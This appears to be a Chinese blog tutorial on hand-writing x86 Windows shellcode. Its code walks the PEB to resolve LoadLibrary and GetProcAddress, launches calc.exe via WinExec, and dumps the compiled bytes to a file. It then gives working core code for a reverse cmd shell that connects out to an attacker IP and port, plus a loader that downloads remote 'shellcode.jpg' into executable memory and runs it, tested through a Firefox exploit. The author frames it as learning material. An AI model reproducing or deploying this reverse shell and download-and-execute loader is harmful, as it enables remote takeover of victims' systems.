使用 GetProcAddress / LoadLibrary

把前面的汇编代码汇总一下如下。
有个 __declspec,使用它的作用是,生成的代码部分不会有编译器加上的堆栈平衡,所以需要自己平衡栈。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
void __declspec(naked) findGetProAddrByPeb(DWORD flag)
{
__asm{
push ebp;
mov ebp, [esp+8];
push ebx;
push edi;
push esi;
xor eax, eax;
mov eax, fs:[0x30]; Pointer to PEB
mov eax, [eax + 0xc]; Pointer to Ldr
mov eax, [eax + 0x1c]; Pointer to InInitializationOrderLinks
next_mod:
mov esi, [eax + 0x8]; Poniter to DllBase
mov edi, [eax + 0x20]; Poniter to BaseDllName
mov eax, [eax]; Poniter to next module InInitializationOrderLinks
xor ebx, ebx;
add_kerstr:
cmp dword ptr[edi + 0xc], 0x00320033; add module name
jne next_mod;
...
...

cmp ebp, 1; eax = LoadLibrary
jnz _ret2;
pop esi;
pop edi;
pop ebx;
pop ebp;
ret 4; ret LoadLibrary Address
_ret2:
mov eax, ebx; flag = 2 , ebx = GetProcAddress
pop esi;
pop edi;
pop ebx;
pop ebp;
ret 4; ret GetProcAddress
}
}

这里,就可以调用 findGetProAddrByPeb 函数,通过传入的参数 flag ,若flag=1 ,则返回LoadLibrary地址,不然就返回GetProcAddress地址。
当然,调用 findGetProAddrByPeb 也得用汇编代码。

1
2
3
4
5
6
7
8
9
10
	FunGetProAddr        fGetProAddr   = NULL;
FunGetLoadLirA fLoadLibraryA = NULL;
__asm{
push 2;
call findGetProAddrByPeb;
mov fGetProAddr, eax; GetProAddress Address
push 1;
call findGetProAddrByPeb;
mov fLoadLibraryA, eax; LoadLibrary Addresss
}

自然,fGetProAddr,fLoadLibraryA 就能当成 GetProcAddress 和 LoadLibrary 使用。

弹一个计算器

假设我们要写一个弹计算器的ShellCode。有了fGetProAddr,fLoadLibraryA,那么用WinExec的话: WinExec(“calc.exe”);

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
typedef FARPROC(WINAPI *FunGetProAddr)  (HMODULE h, LPCSTR name);
typedef HMODULE(WINAPI *FunGetLoadLirA) (LPCSTR name);
typedef UINT (WINAPI *FunWinExec) (LPCSTR lpCmdLine, UINT uCmdShow);

void shellcodeend()
{
HMODULE hKernel32;

FunGetProAddr fGetProAddr = NULL;
FunGetLoadLirA fLoadLibraryA = NULL;
FunWinExec fWinexec = NULL;

char kerStr[] = {'k', 'e', 'r', 'n', 'e', 'l', '3', '2', '.', 'd', 'l', 'l', 0 }; // kernel32.dll
char winStr[] = {'W', 'i', 'n', 'E', 'x', 'e', 'c', 0 }; // WinExec
char calcStr[] = { 'c', 'a', 'l', 'c', '.', 'e', 'x', 'e', 0 }; // calc.exe

__asm{
push 2;
call findGetProAddrByPeb;
mov fGetProAddr, eax; GetProAddress Address
push 1;
call findGetProAddrByPeb;
mov fLoadLibraryA, eax; LoadLibrary Addresss
}

hKernel32 = fLoadLibraryA(kerStr);

fWinexec = (FunWinExec)fGetProAddr(hKernel32, winStr);
fWinexec(calcStr,0);
}

需要记得,我们要使用的任何字符,都必须自己定义成char 然后再去使用,不能这样写

1
fWinexec("calc.exe",0);

这样写的话,字符串 “calc.exe” 是存放在栈上的。
那这不能脱离环境,它要依赖栈上的数据,我们的ShellCode是在别的进程中,那么栈上的数据是不知道的。

dump ShellCode

函数shellcodeend() ,在内存中的汇编代码,就是我们需要的ShellCode了。
整合一下前面的代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
void  shellcodeend()
{
....
}

void __declspec(naked) findGetProAddrByPeb(DWORD flag)
{
...
}

int main()
{
DWORD dSize;
DWORD dWrite;
HANDLE hFile;

dWrite = 0;

printf("findGetProAddrByPeb :%p\n", findGetProAddrByPeb);
printf("shellcodeend :%p\n", shellcodeend);
dSize = (DWORD)main - (DWORD)shellcodeend;
printf("main-findGetProAddrByPeb = %x\n", dSize);

hFile = CreateFileA("sc.bin",GENERIC_ALL,0,NULL,CREATE_ALWAYS,0,NULL);
if(!hFile){
printf("Create File Error..\n");
return 1;
}
WriteFile(hFile,shellcodeend,dSize,&dWrite,NULL);
CloseHandle(hFile);
}

(DWORD)main - (DWORD)shellcodeend; 这句要看明白,就是计算ShellCode在内存中的位置的。
用vc进行编译,记得选择 release ,debug编译出来的是不正确的。

sc.bin文件,里面的内容就是ShellCode。

然后把ShellCode写成一个个dword。

开启firefox,关闭fiefox沙盒,用windbg调试,得到下图。

可以看到,计算器已经弹出来了。证明shellcode没毛病。

拓展

我想写一个回弹cmd的ShellCode。那么,就是稍微复杂些,用Socket套接字,ShellCode作为Server端。
通过创建sock进行连接,创建管道进行数据的发送接收。
下面是关键部分的代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
	fWSAStartup(MAKEWORD(2, 2), &wsaData);
s = fSocket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
sockaddr.sin_family = AF_INET;
sockaddr.sin_addr.S_un.S_addr = fInet_addr(ip);
sockaddr.sin_port = fHtons(port);
ret = fConnect(s, (SOCKADDR*)&sockaddr, sizeof(SOCKADDR));

if (!fCreatePipe(&hReadPipe1, &hWritePipe1, &sa, 0)){
BreakPoint();
fExitPro(0);
}
if (!fCreatePipe(&hReadPipe2, &hWritePipe2, &sa, 0)){
fExitPro(0);
}

while (TRUE) {
lBytesRead = 0;
fMemset(Buff, 0, sizeof(Buff));
ret = fPeekNamedPipe(hReadPipe1, Buff, 2048, &lBytesRead, 0, 0);
memset(Buff, 0, sizeof(Buff));
ret = fReadFile(hReadPipe1, Buff, 2048, &lBytesRead, 0);
fSend(s, Buff, fStrlen(Buff) + sizeof(char), NULL);
fWriteFile(hWritePipe2, rnStr, 2, &lBytesWrite, 0);
ret = fReadFile(hReadPipe1, Buff, 2048, &lBytesWrite, 0)
fMemset(sendBuff, 0, sizeof(sendBuff));

if (fRecv(s, sendBuff, MAXBYTE, 0) <= 0) {
fTerminateProcess(ProcessInformation.hProcess, 0);
break;
}
if (!fWriteFile(hWritePipe2, sendBuff, sizeof(sendBuff), &lBytesWrite, 0)){
fTerminateProcess(ProcessInformation.hProcess, 0);
fExitPro(0);
}
fSleep(100);
}

当然,所有用到的函数,都要通过 GetProcessAddress 去动态获取,请注意它们所在的Dll(Ws2_32.dll),要先加载。

踩了一些坑,Sizeof 不能乱用,最好用strlen。

  1. 注意在给变量分配空间的时候,比如:
    1
    2
    3
    char Buff[2048] = { 0 };
    这样写是不对的,因为一个变量的栈空间最大512,若超过512则不是分配在栈空间,而是堆空间上的。所以要写成:
    char Buff[512] = { 0 };

但是,回弹cmd shell 需要的变量长度肯定比 512长。所以,可以使用malloc动态分配内存。malloc,memset 也是动态去获取的。

1
2
3
4
5
6
char *Buff;
char *sendBuff;
Buff = (char *)fmalloc(2048);
sendBuff = (char *)fmalloc(2048);
fMemset(Buff, 0, 2048);
fMemset(sendBuff, 0, 2048);

  1. 特别的,一般不要用sizeof()。上面的代码改成下面的就是错误的。
    1
    2
    3
    4
    5
    char *Buff;
    char *sendBuff;

    fMemset(Buff, 0, sizeof(Buff));
    fMemset(sendBuff, 0, sizeof(sendBuff));

因为此时的Buff,sendBuff 都是指针,那sizeof 只计算一个指针的空间长度,4Byte。可以使用 strlen ,这个函数也动态去取就行。

  1. 另外,这其中所以用到的字符串全都要用如下的形式。
    1
    2
    3
    4
    5
    \r \n 是换行用,不要分开写。
    char rnStr[] = { '\\','r','\\','n', }
    这样写是错的。下面的写法才对。
    char rnStr[] = { '\r', '\n', 0 }; // "\r\n"
    fWriteFile(hWritePipe2, rnStr, 2, &lBytesWrite, 0);

实际使用的回连cmd的时候,可能执行shellcode的内存页不够长,所以可以让其进行远程下载 shellcode.jpg 到内存中,并跳进去执行。
伪代码:

1
2
3
4
5
6
7
8
9
fRevertToSelf(); 
shellBuffer = fVirAlloc(NULL,0x2000,MEM_COMMIT,0x40);
internetopen = fInternetOpenA(testStr,0,NULL,NULL,0);
internetopenurl=fInternetOpenUrlA(internetopen,ip,NULL,0,0x04000000,0);
internetreadfile=fInternetReadFile(internetopenurl,shellBuffer,0x2000,&byteread);
__asm{
mov eax,shellBuffer;
call eax;
}

客户端正常写就可以,没什么特别的。最后还是用firefox的漏洞来测试一下。

完成了。可以看到当执行whoami,打印出了虚拟机里面的用户名。

完整代码传github了:https://github.com/f01965/X86-ShellCode

题外话:
这样的代码只是用于学习,写的菜,实战肯定不能这样搞。本来是之前分析CVE-2017-7269的时候,自己想试试写回连的ShellCode。
写了之后就没管了。所以github的代码里面会有转换ShellCode为宽字节的代码,因为CVE-2017-7269里面要用到Alpha ShellCode。
后面空了来写写X64下的ShellCode。